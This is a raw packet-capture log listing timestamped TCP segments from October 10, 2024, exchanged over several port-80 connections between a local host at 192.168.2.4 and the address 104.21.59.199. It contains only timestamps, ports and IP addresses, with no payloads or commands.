Oct 10, 2024 21:02:16.556401014 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.556430101 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.556454897 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.556479931 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.556551933 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.556600094 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.556601048 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.556648016 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.562359095 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.562386990 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.562418938 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.562419891 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.562436104 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.562468052 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.562479019 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.562495947 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.562525988 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.562542915 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.562815905 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.562843084 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.562902927 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.562948942 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.562989950 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.567653894 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.567714930 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.567953110 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.568238020 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.568350077 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.568434000 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.568480968 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.568506956 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.568537951 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.568623066 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.568717957 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.568746090 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.568877935 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.568903923 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.569051027 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.569077969 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.569263935 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.569505930 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.569572926 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.573308945 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.573391914 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.874183893 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.887315035 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:16.892879963 CEST	80	50380	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:16.892949104 CEST	50380	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.068547010 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.075248957 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.075341940 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.075839996 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.080846071 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.575067043 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.576339006 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.576562881 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.581407070 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.581553936 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.581582069 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.581608057 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.581639051 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.581670046 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.581715107 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.581749916 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.581774950 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.581795931 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.581819057 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.581850052 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.581876993 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.581902981 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.581943989 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.581994057 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.582020044 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.582048893 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.582075119 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.582098007 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.582204103 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.587142944 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.587171078 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.587199926 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.587233067 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.587282896 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.587308884 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.587328911 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.587357044 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.587464094 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.587491035 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.587522030 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.587553024 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.587585926 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.587639093 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.587671041 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.587697983 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.587723017 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.587753057 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.587784052 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.587810040 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.587855101 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.590547085 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.590775013 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.592843056 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.592895031 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.592912912 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.592942953 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.593023062 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.593130112 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.593159914 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.593259096 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.593290091 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.593417883 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.593447924 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.593568087 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.593594074 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.595680952 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.595707893 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.595753908 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.595779896 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.595813036 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.595856905 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.595886946 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.597543001 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.597569942 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.597614050 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.597640038 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.597685099 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.597709894 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.597821951 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.597848892 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.597893953 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.597919941 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.597949982 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.894593000 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.902976036 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:17.909411907 CEST	80	50388	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:17.909466982 CEST	50388	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.034287930 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.039289951 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.039381981 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.040069103 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.044920921 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.483772039 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.484642029 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.484920025 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.489475965 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.490223885 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.490273952 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.490281105 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.490302086 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.490328074 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.490355015 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.490335941 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.490395069 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.490401030 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.490427971 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.490452051 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.490453959 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.490479946 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.490483046 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.490506887 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.490513086 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.490537882 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.490559101 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.495517969 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.495544910 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.495589018 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.495599031 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.495625973 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.495651960 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.495676994 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.495704889 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.495707035 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.495733023 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.495759964 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.495779037 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.495786905 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.495805979 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.495831966 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.495831966 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.495878935 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.495882034 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.495882034 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.495904922 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.495928049 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.495944977 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.495982885 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.501060963 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.501133919 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.501625061 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.501816988 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.502054930 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.502192020 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.502219915 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.502249956 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.502384901 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.502511978 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.502537966 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.502687931 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.502713919 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.502744913 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.502839088 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.502866030 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.502895117 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.502940893 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.503006935 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.503140926 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.503166914 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.503196001 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.503303051 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.503329992 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.503357887 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.506057024 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.802889109 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.812237978 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:18.817897081 CEST	80	50394	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:18.817977905 CEST	50394	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.007920027 CEST	50400	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.012784958 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.013032913 CEST	50400	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.014092922 CEST	50400	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.019602060 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.459068060 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.460927010 CEST	50400	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.461225986 CEST	50400	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.465811968 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.466207027 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.466248035 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.466306925 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.466345072 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.466365099 CEST	50400	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.466382980 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.466412067 CEST	50400	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.466442108 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.466480017 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.466516972 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.466553926 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.466589928 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.466609955 CEST	50400	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.466660976 CEST	50400	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.471570969 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.471654892 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.471697092 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.471760988 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.471802950 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.471858025 CEST	50400	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.471884966 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.471930027 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.472002029 CEST	50400	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.472038984 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.472084999 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.472125053 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.472141027 CEST	50400	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.472207069 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.472275972 CEST	50400	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.472301006 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.475338936 CEST	50400	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.476881981 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.476922035 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.477031946 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.477091074 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.477096081 CEST	50400	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.477190971 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.477307081 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.477397919 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.477440119 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.477530956 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.477587938 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.477624893 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.477683067 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.477720022 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.477756023 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.477792978 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.477848053 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.477885008 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.477921963 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.477957964 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.478013039 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.478049994 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.478085995 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.480382919 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.480422020 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.480458975 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.480854988 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.481988907 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.800632000 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.812359095 CEST	50400	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.817862988 CEST	80	50400	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.818041086 CEST	50400	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.926119089 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.931128025 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:19.931231022 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.931689024 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:19.936620951 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.379201889 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.379996061 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.380194902 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.385015965 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.385193110 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.385241985 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.385245085 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.385283947 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.385368109 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.385406017 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.385447025 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.385464907 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.385482073 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.385483980 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.385499954 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.385509968 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.385516882 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.385526896 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.385543108 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.385543108 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.385556936 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.385581017 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.385628939 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.385668993 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.390191078 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.390249014 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.390271902 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.390309095 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.390609980 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.390650988 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.390686035 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.390727043 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.390917063 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.390957117 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.391309023 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.391386032 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.395358086 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.395411015 CEST	50406	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:20.395535946 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.395606041 CEST	80	50406	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:20.395790100 CEST	80	50406	104.21.59.199	192.168.2.4
